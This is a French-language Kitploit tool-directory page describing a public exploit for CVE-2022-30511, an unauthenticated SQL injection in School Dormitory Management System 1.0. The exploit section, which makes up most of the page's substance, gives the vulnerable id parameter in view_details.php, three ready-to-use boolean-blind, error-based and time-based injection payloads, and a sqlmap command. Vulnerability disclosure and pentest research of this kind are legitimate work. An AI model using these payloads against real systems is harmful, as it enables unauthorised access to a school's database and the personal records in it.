Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-30511 — Système de gestion de dortoir scolaire 1.0 - Injection SQL non authentifiée | Kitploit
Outils/GitHubGitHub/bigzooooz/cve-2022-30511
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionSécurité des Bases de Données
GitHubbigzooooz/cve-2022-30511

CVE-2022-30511

Système de gestion de dortoir scolaire 1.0 - Injection SQL non authentifiée

Voir le dépôt
111il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-30511

Système de gestion de dortoir scolaire 1.0 - Injection SQL non authentifiée

Titre de l'exploit : School Dormitory Management System 1.0 - Injection SQL non authentifiée

Date : 2022-05-25

CVE : CVE-2022-30511

Auteur de l'exploit : Abdulaziz Saad (@b4zb0z)

Page d'accueil du fournisseur : https://www.sourcecodester.com/

Lien du logiciel :

https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html

Version : 1.0

Testé sur : LAMP, Ubuntu

[#] Emplacement de la vulnérabilité : $_GET['id'] dans /dms/admin/accounts/view_details.php:4

Paramètre : id (GET) Type : aveugle basé sur les booléens Titre : AND aveugle basé sur les booléens - clause WHERE ou HAVING Payload : page=accounts/view_details&id=2' AND 8853=8853 AND 'kujz'='kujz

root@kitploit:~
Type : basé sur les erreurs
root@kitploit:~
Titre : MySQL >= 5.0 ET basé sur les erreurs - clause WHERE, HAVING, ORDER BY ou GROUP BY (FLOOR)
Payload : page=accounts/view_details&id=2' AND (SELECT 8739 FROM(SELECT COUNT(*),CONCAT(0x716a6b6a71,(SELECT (ELT(8739=8739,1))),0x71766b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'fkLf'='fkLf
root@kitploit:~
Type : aveugle basé sur le temps
root@kitploit:~
Titre : MySQL >= 5.0.12 ET aveugle basé sur le temps (requête SLEEP)
Payload : page=accounts/view_details&id=2' AND (SELECT 7339 FROM (SELECT(SLEEP(5)))Dkxx) AND 'UZCm'='UZCm

[#] Exploitation en utilisant SQLMAP : sqlmap -u "http://localhost/dms/admin/?page=accounts/view_details&id=2" --dbms=mysql

Télécharger l’outil